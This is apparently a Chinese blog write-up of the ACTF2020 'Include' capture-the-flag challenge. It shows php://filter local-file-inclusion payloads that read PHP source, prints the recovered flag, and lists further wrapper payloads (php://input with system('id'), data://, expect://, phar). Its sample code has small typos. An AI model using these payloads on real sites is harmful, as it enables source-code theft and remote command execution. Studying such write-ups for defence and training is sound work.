[LFI]Second day—使用php伪协议获取php源码
·前言
这是ACTF2020的Include题,类型是LFI包含文件读取,十分的简单,熟悉相关漏洞后可以直接平推。
这里需要用到php://filter伪协议,它是PHP内置的流包装器(说白了就是过滤器),在读取或写入文件时对数据进行编码、解码、转换等处理。常用于文件包含漏洞(file inclusion)绕过,用以获取源码等敏感信息。
·需要先掌握的基础知识:
假设,我们写一个简单的flag.php文件
<?php
include($_GET['page'];
?>
参数是page,那就可以:
/flag.php?page=php://filter/read=convert.base64-encode/resource=flag.php
就可以获取到flag.php的base64字符串,进行解码后就可以获得源代码
这个技巧很重要,也很好用。常用于file inclusion,XXE,反序列化等漏洞,实现源码泄露,甚至可以RCE
还有著名的CVE-2024-2961也和这个有关
·实战
公式化开局直接看f12,发现是一个跳转到flag.php的超链接

跳转过去,发现就给了一串“Can you find out the flag?”

flag大概就是在这个php里面,应该是一个ehco的上面那句话,源码里估计就藏了个flag
那还说啥了 ,直接开始吟唱:
/?file=php://filter/read=convert.base64.encode/resource=flag.php
豪!接入url看看如何

base64编码出来的flag.php源码
解码之后看看:

十分的美味啊
echo "Can you find out the flag?";
//flag{7096d6b9-40cc-423f-854d-e2ec78b96b5b}
·拓展
PHP 伪协议与任意文件读取
PHP 支持多种伪协议(stream wrappers),当 allow_url_fopen 或 allow_url_include 开启时,攻击者可以利用它们读取或执行文件。
2.1 php://filter
最常用的读取源码的协议,可以读取 PHP 文件内容并经过各种过滤器转换(如 base64 编码),绕过直接执行 PHP 代码的限制。
基本用法:
text
php://filter/convert.base64-encode/resource=index.php
返回 index.php 的 base64 编码内容,解码后可得源码。
可组合多个过滤器,例如:
text
php://filter/convert.iconv.UTF-8.UTF-16LE|convert.base64-encode/resource=config.php
利用 convert.iconv 可以改变编码,甚至触发漏洞(如 CVE-2024-2961)。
2.2 php://input
读取 POST 原始数据,常用于配合文件包含实现代码执行:
http
POST /include.php?file=php://input HTTP/1.1
Content-Type: application/x-www-form-urlencoded
<?php system('id'); ?>
2.3 data://
允许内联数据流,可用来写入简单内容:
text
data://text/plain,<?php phpinfo(); ?>
但需要 allow_url_include=On 才能包含执行。
2.4 expect://
执行外部命令(需安装 expect 扩展且 allow_url_include=On):
text
expect://id
2.5 zip://、phar://
可读取压缩包内的文件,也可用于反序列化(phar 反序列化)。

浙公网安备 33010602011771号